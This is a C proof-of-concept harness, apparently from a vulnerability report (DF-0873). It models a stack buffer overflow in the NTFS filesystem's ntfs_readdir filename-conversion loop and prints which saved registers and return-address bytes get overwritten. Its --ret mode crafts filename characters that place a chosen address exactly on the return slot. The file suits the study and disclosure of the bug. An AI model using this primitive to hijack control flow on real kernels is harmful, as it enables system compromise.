/*
 * DF-0873 deterministic harness.
 *
 * Faithfully transcribes the ntfs_readdir convname loop
 * (sys/vfs/ntfs/ntfs_vnops.c:590-596) on a poisoned stack frame that mimics
 * the compiled ntfs_readdir layout (gcc 8.3, no canary):
 *
 *   convname[-0x130(%rbp)] ... retaddr[+0x08(%rbp)]
 *
 * It writes 256 bytes of convname + the exact overflow region into a
 * virtual "stack frame" buffer and reports which control-flow slots get
 * clobbered.  This makes the primitive byte-exact and reproducible WITHOUT
 * needing to mount the image (the live-kernel reproduction is the separate
 * trigger + run.sh).
 *
 * Two modes:
 *   default        : wchar stream = 255 * 0x0080 (panic repro layout)
 *   --ret <0xADDR> : use craft_img.py build_pattern() semantics to place the
 *                    8 address bytes at convname[312..319]
 */
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>

#define NTFS_MAXFILENAME 255
#define CONVSIZE (NTFS_MAXFILENAME + 1)   /* 256 */

/*
 * Frame model (matching ntfs_readdir disassembly).  convname sits at frame
 * offset 0x130 below a virtual rbp; saved registers and the return address
 * live above.  We allocate a frame buffer where index 0 == convname[0] and
 * lay the control-flow slots at their real indices:
 *   convname base = index 0      (rbp - 0x130)
 *   saved rbx     = index 264    (rbp - 0x28)
 *   saved r12     = index 272
 *   saved r13     = index 280
 *   saved r14     = index 288
 *   saved r15     = index 296
 *   saved rbp     = index 304    (rbp + 0)
 *   return addr    = index 312   (rbp + 8)
 */
#define FRAME 1024
static uint8_t frame[FRAME];

/* model of the default-mount NTFS_U28: wchar 0x80..0xFF sign-extends. */
static uint16_t u28_default(uint16_t wc)
{
    /* ntmp->ntm_u28[(wc>>8)&0xFF][wc&0xFF]; for wc<0x100 that is (char)(wc&0xFF) */
    if (wc >= 0x100) return '_';     /* would index a NULL subtable -> '_' */
    int8_t byte = (int8_t)(wc & 0xFF);
    return (uint16_t)(int16_t)byte;  /* sign-extend into u16 */
}

/* Run the loop with the given wchar stream, writing into `frame` starting at
 * convname base (index 0).  Returns final j. */
static int run_loop(uint16_t *fname, int fnamelen)
{
    int i, j = 0;
    uint16_t c;
    for (i = 0; i < fnamelen; i++, j++) {
        c = u28_default(fname[i]);
        if (c & 0xFF00)
            frame[j++] = (uint8_t)(c >> 8);   /* may overflow */
        if (j < FRAME)
            frame[j] = (uint8_t)(c & 0xFF);
        else {
            fprintf(stderr, "[!] write past frame model @ j=%d\n", j);
            break;
        }
    }
    if (j < FRAME) frame[j] = 0;   /* convname[j]='\0' */
    return j;
}

static void hexdump(const char *label, int start, int len)
{
    printf("%s [convname[%d..%d]]:\n    ", label, start, start + len - 1);
    for (int k = 0; k < len; k++) {
        printf("%02X ", frame[start + k]);
        if ((k & 15) == 15) printf("\n    ");
    }
    printf("\n");
}

int main(int argc, char **argv)
{
    uint64_t ret_override = 0;
    int do_ret = 0;
    for (int a = 1; a < argc; a++) {
        if (!strcmp(argv[a], "--ret") && a + 1 < argc) {
            ret_override = strtoull(argv[++a], 0, 0);
            do_ret = 1;
        }
    }

    memset(frame, 0xAA, sizeof(frame));   /* poison */
    memset(frame, 0, CONVSIZE);           /* clean convname region */

    uint16_t fname[255];
    if (!do_ret) {
        for (int i = 0; i < 255; i++) fname[i] = 0x0080;
    } else {
        /* mirror craft_img.py build_pattern(): 156 wide(0x80) -> 312 bytes,
         * then encode the 8 target bytes, then pad to 255 with wide tokens. */
        int n = 0;
        for (int i = 0; i < 156; i++) fname[n++] = 0x0080;
        uint8_t tb[8];
        for (int i = 0; i < 8; i++) tb[i] = (ret_override >> (8 * i)) & 0xFF;
        int k = 0;
        while (k < 8) {
            uint8_t b = tb[k];
            if (b < 0x80) { fname[n++] = b; k++; }
            else          { fname[n++] = b; k += 2; }
        }
        while (n < 255) fname[n++] = 0x0080;
    }

    int j = run_loop(fname, 255);

    printf("== DF-0873 convname loop harness ==\n");
    printf("fnamelen=255, final j=%d (convname buffer = %d bytes)\n", j, CONVSIZE);
    printf("overflow = %d bytes past convname[%d]\n", j - CONVSIZE, CONVSIZE - 1);

    uint64_t *saved_rbx = (uint64_t *)&frame[264];
    uint64_t *saved_r12 = (uint64_t *)&frame[272];
    uint64_t *saved_r13 = (uint64_t *)&frame[280];
    uint64_t *saved_r14 = (uint64_t *)&frame[288];
    uint64_t *saved_r15 = (uint64_t *)&frame[296];
    uint64_t *saved_rbp = (uint64_t *)&frame[304];
    uint64_t *retaddr   = (uint64_t *)&frame[312];

    printf("\ncontrol-flow slots AFTER overflow:\n");
    printf("  saved rbx = 0x%016llX\n", (unsigned long long)*saved_rbx);
    printf("  saved r12 = 0x%016llX\n", (unsigned long long)*saved_r12);
    printf("  saved r13 = 0x%016llX\n", (unsigned long long)*saved_r13);
    printf("  saved r14 = 0x%016llX\n", (unsigned long long)*saved_r14);
    printf("  saved r15 = 0x%016llX\n", (unsigned long long)*saved_r15);
    printf("  saved rbp = 0x%016llX\n", (unsigned long long)*saved_rbp);
    printf("  RET ADDR  = 0x%016llX   <-- loaded by `ret` in ntfs_readdir epilogue\n",
           (unsigned long long)*retaddr);

    hexdump("convname (in-bounds)", 0, CONVSIZE);
    hexdump("OOB region (saved regs + rbp + ret + caller frame)", 256, 256);

    int hit_ret = (j >= 320);
    int hit_rbp = (j >= 312);
    printf("\n==> reached saved rbp: %s\n", hit_rbp ? "YES" : "no");
    printf("==> reached RET addr:   %s\n", hit_ret ? "YES (stack smash)" : "no");
    return 0;
}
